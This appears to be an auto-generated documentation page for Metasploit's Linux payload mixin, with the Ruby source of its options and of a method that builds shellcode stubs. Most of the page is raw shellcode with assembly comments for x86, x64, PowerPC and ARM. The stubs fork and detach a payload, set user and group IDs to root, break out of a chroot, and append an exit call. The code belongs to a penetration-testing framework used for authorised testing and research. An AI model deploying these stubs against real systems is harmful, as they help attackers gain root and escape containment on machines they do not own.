Module: Msf::Payload::Linux

Included in:
BindTcp, ReverseSctp_x64, ReverseTcp_x64, ReverseTcp_x86
Defined in:
lib/msf/core/payload/linux.rb

Overview

This class is here to implement advanced features for linux-based payloads. Linux payloads are expected to include this module if they want to support these features.

Defined Under Namespace

Modules: BindTcp, ReverseSctp_x64, ReverseTcp_x64, ReverseTcp_x86, SendUUID

Instance Method Summary collapse

Instance Method Details

#apply_prepends(buf) ⇒ Object



89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
# File 'lib/msf/core/payload/linux.rb', line 89

def apply_prepends(buf)
  pre = ''
  app = ''

  test_arch = [ *(self.arch) ]

  # Handle all x86 code here
  if (test_arch.include?(ARCH_X86))

    # Prepend

    if (datastore['PrependFork'])
      pre << "\x6a\x02"             + #   pushb   $0x2                       #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"             + #   int     $0x80       ; fork         #
             "\x85\xc0"             + #   test    %eax,%eax                  #
             "\x74\x06"             + #   jz      loc_000f                   #
                                      # loc_0009:
             "\x31\xc0"             + #   xor     %eax,%eax                  #
             "\xb0\x01"             + #   movb    $0x1,%al                   #
             "\xcd\x80"             + #   int     $0x80       ; exit         #
                                      # loc_000f:
             "\xb0\x42"             + #   movb    %0x42,%al                  #
             "\xcd\x80"             + #   int     $0x80       ; setsid       #

             "\x6a\x02"             + #   pushb   $0x2                       #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"             + #   int     $0x80       ; fork         #
             "\x85\xc0"             + #   test    %eax,%eax                  #
             "\x75\xed"               #   jnz     loc_0009                   #
    end

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x31\xc9"             + #   xorl    %ecx,%ecx                  #
             "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\xf7\xe3"             + #   mull    %ebx                       #
             "\xb0\xa4"             + #   movb    $0xa4,%al                  #
             "\xcd\x80"               #   int     $0x80                      #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x31\xc9"             + #   xorl    %ecx,%ecx                  #
             "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\x6a\x46"             + #   pushl   $0x46                      #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"               #   int     $0x80                      #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\x6a\x17"             + #   pushl   $0x17                      #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"               #   int     $0x80                      #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x31\xc9"             + #   xorl    %ecx,%ecx                  #
             "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\xf7\xe3"             + #   mull    %ebx                       #
             "\xb0\xaa"             + #   movb    $0xaa,%al                  #
             "\xcd\x80"               #   int     $0x80                      #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x31\xc9"             + #   xorl    %ecx,%ecx                  #
             "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\x6a\x47"             + #   pushl   $0x47                      #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"               #   int     $0x80                      #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\x6a\x2e"             + #   pushl   $0x2e                      #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"               #   int     $0x80                      #
    end

    if (datastore['PrependChrootBreak'])
      # setreuid(0, 0)
      pre << "\x31\xc9"             + #   xorl    %ecx,%ecx                  #
             "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
             "\x6a\x46"             + #   pushl   $0x46                      #
             "\x58"                 + #   popl    %eax                       #
             "\xcd\x80"               #   int     $0x80                      #

      # break chroot
      pre << "\x6a\x3d"             + #   pushl  $0x3d                       #
           # build dir str (ptr in ebx)
           "\x89\xe3"             + #   movl   %esp,%ebx                   #
           # mkdir(dir)
           "\x6a\x27"             + #   pushl  $0x27                       #
           "\x58"                 + #   popl   %eax                        #
           "\xcd\x80"             + #   int     $0x80                      #
           # chroot(dir)
           "\x89\xd9"             + #   movl   %ebx,%ecx                   #
           "\x58"                 + #   popl   %eax                        #
           "\xcd\x80"             + #   int     $0x80                      #
           # build ".." str (ptr in ebx)
           "\x31\xc0"             + #   xorl   %eax,%eax                   #
           "\x50"                 + #   pushl  %eax                        #

           "\x66\x68\x2e\x2e"     + #   pushw  $0x2e2e                     #
           "\x89\xe3"             + #   movl   %esp,%ebx                   #
           # loop changing dir
           "\x6a\x3d"             + #   pushl  $0x1e                       #
           "\x59"                 + #   popl   %ecx                        #
           "\xb0\x0c"             + #   movb   $0xc,%al                    #
           "\xcd\x80"             + #   int     $0x80                      #
           "\xe2\xfa"             + #   loop   -6                          #
           # final chroot
           "\x6a\x3d"             + #   pushl  $0x3d                       #
           "\x89\xd9"             + #   movl   %ebx,%ecx                   #
           "\x58"                 + #   popl   %eax                        #
           "\xcd\x80"               #   int     $0x80                      #
    end

    # Append exit(0)

    if (datastore['AppendExit'])
      app << "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
        "\x6a\x01"             + #   pushl   $0x01                      #
        "\x58"                 + #   popl    %eax                       #
        "\xcd\x80"              #   int     $0x80                      #
    end

  # Handle all Power/CBEA code here
  elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))

    # Prepend

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\xa5\x2a\x78"     + #   xor     r5,r5,r5                   #
             "\x7c\x84\x22\x78"     + #   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\xa5"     + #   addi    r0,r31,-347                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\x84\x22\x78"     + #   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x47"     + #   addi    r0,r31,-441                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x18"     + #   addi    r0,r31,-488                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\xa5\x2a\x78"     + #   xor     r5,r5,r5                   #
             "\x7c\x84\x22\x78"     + #   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\xab"     + #   addi    r0,r31,-341                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\x84\x22\x78"     + #   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x48"     + #   addi    r0,r31,-440                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x2f"     + #   addi    r0,r31,-465                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

    if (datastore['PrependChrootBreak'])
      # setreuid(0, 0)
      pre << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\x84\x22\x78"     + #   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x47"     + #   addi    r0,r31,-441                #
             "\x44\xff\xff\x02"       #   sc                                 #

      # EEK! unsupported...
    end

    # Append exit(0)

    if (datastore['AppendExit'])
      app << "\x3b\xe0\x01\xff"     + #   li      r31,511                    #
             "\x7c\x63\x1a\x78"     + #   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x02"     + #   addi    r0,r31,-510                #
             "\x44\xff\xff\x02"       #   sc                                 #
    end

  elsif (test_arch.include?(ARCH_X64))

    if (datastore['PrependFork'])
      # if (fork()) { exit(0); }; setsid(); if (fork()) { exit(0); };
      pre << "\x6a\x39"             #    push    57        ; __NR_fork     #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
      pre << "\x48\x85\xc0"         #    test    rax,rax                   #
      pre << "\x74\x08"             #    jz      loc_0012                  #
      #                             #  loc_000a:                           #
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x6a\x3c"             #    push    60        ; __NR_exit     #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
      #                             #  loc_0012:                           #
      pre << "\x04\x70"             #    add     al, 112   ; __NR_setsid   #
      pre << "\x0f\x05"             #    syscall                           #
      pre << "\x6a\x39"             #    push    57        ; __NR_fork     #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
      pre << "\x48\x85\xc0"         #    test    rax,rax                   #
      pre << "\x75\xea"             #    jnz     loc_000a                  #
    end

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x6a\x75"             #    push    0x75                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x48\x89\xf2"         #    mov     rdx,rsi                   #
      pre << "\x6a\x71"             #    push    0x71                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x6a\x69"             #    push    0x69                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x6a\x77"             #    push    0x77                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x48\x89\xf2"         #    mov     rdx,rsi                   #
      pre << "\x6a\x72"             #    push    0x72                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x6a\x6a"             #    push    0x6a                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependChrootBreak'])

      # setreuid(0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x48\x89\xf8"         #    mov     rax,rdi                   #
      pre << "\xb0\x71"             #    mov     al,0x71                   #
      pre << "\x0f\x05"             #    syscall                           #

      # generate temp dir name
      pre << "\x48\xbf"             #    mov     rdi,                      #
      pre << Rex::Text.rand_text_alpha(8)  #         random                #
      pre << "\x56"                 #    push    rsi                       #
      pre << "\x57"                 #    push    rdi                       #

      # mkdir(random,0755)
      pre << "\x48\x89\xe7"         #    mov     rdi,rsp                   #
      pre << "\x66\xbe\xed\x01"     #    mov     si,0755                   #
      pre << "\x6a\x53"             #    push    0x53                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #

      # chroot(random)
      pre << "\x48\x31\xd2"         #    xor     rdx,rdx                   #
      pre << "\xb2\xa1"             #    mov     dl,0xa1                   #
      pre << "\x48\x89\xd0"         #    mov     rax,rdx                   #
      pre << "\x0f\x05"             #    syscall                           #

      # build .. (ptr in rdi )
      pre << "\x66\xbe\x2e\x2e"     #    mov     si,0x2e2e                 #
      pre << "\x56"                 #    push    rsi                       #
      pre << "\x48\x89\xe7"         #    mov     rdi,rsp                   #

      # loop chdir(..) 69 times
      # syscall tend to modify rcx can't use loop...
      pre << "\x6a\x45"             #    push    0x45                      #
      pre << "\x5b"                 #    pop     rbx                       #
      pre << "\x6a\x50"             #    push    0x50                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
      pre << "\xfe\xcb"             #    dec     bl                        #
      pre << "\x75\xf7"             #    jnz     -7                        #

      # chroot (.) (which should be /)
      pre << "\x6a\x2e"             #    push    .  (0x2e)                 #
      pre << "\x48\x89\xe7"         #    mov     rdi,rsp                   #
      pre << "\x48\x89\xd0"         #    mov     rax,rdx                   #
      pre << "\x0f\x05"             #    syscall                           #

    end

    # Append exit(0)

    if (datastore['AppendExit'])
      app << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      app << "\x6a\x3c"             #    push    0x3c                      #
      app << "\x58"                 #    pop     rax                       #
      app << "\x0f\x05"             #    syscall                           #
    end

  elsif (test_arch.include?(ARCH_ARMLE))

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x00\x00\x20\xe0"     #    eor r0, r0, r0                    #
      pre << "\x17\x70\xa0\xe3"     #    mov r7, #23                       #
      pre << "\x00\x00\x00\xef"     #    svc                               #
    end

    if (datastore['PrependSetresuid'])
      # setresuid(ruid=0, euid=0, suid=0)
      pre << "\x00\x00\x20\xe0"     #    eor r0, r0, r0                    #
      pre << "\x01\x10\x21\xe0"     #    eor r1, r1, r1                    #
      pre << "\x02\x20\x22\xe0"     #    eor r2, r2, r2                    #
      pre << "\xa4\x70\xa0\xe3"     #    mov r7, #0xa4                     #
      pre << "\x00\x00\x00\xef"     #    svc                               #
    end
  end

  return (pre + buf + app)
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the Linux platform. It provides special prepends, to support things like chroot and setuid.



16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# File 'lib/msf/core/payload/linux.rb', line 16

def initialize(info = {})
  ret = super(info)

  register_advanced_options(
    [
      Msf::OptBool.new('PrependFork',
        [
          false,
          "Prepend a stub that starts the payload in its own process via fork",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetresuid',
        [
          false,
          "Prepend a stub that executes the setresuid(0, 0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetreuid',
        [
          false,
          "Prepend a stub that executes the setreuid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetuid',
        [
          false,
          "Prepend a stub that executes the setuid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetresgid',
        [
          false,
          "Prepend a stub that executes the setresgid(0, 0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetregid',
        [
          false,
          "Prepend a stub that executes the setregid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetgid',
        [
          false,
          "Prepend a stub that executes the setgid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependChrootBreak',
        [
          false,
          "Prepend a stub that will break out of a chroot (includes setreuid to root)",
          "false"
        ]
      ),
      Msf::OptBool.new('AppendExit',
        [
          false,
          "Append a stub that executes the exit(0) system call",
          "false"
        ]
      ),
    ], Msf::Payload::Linux)

  ret
end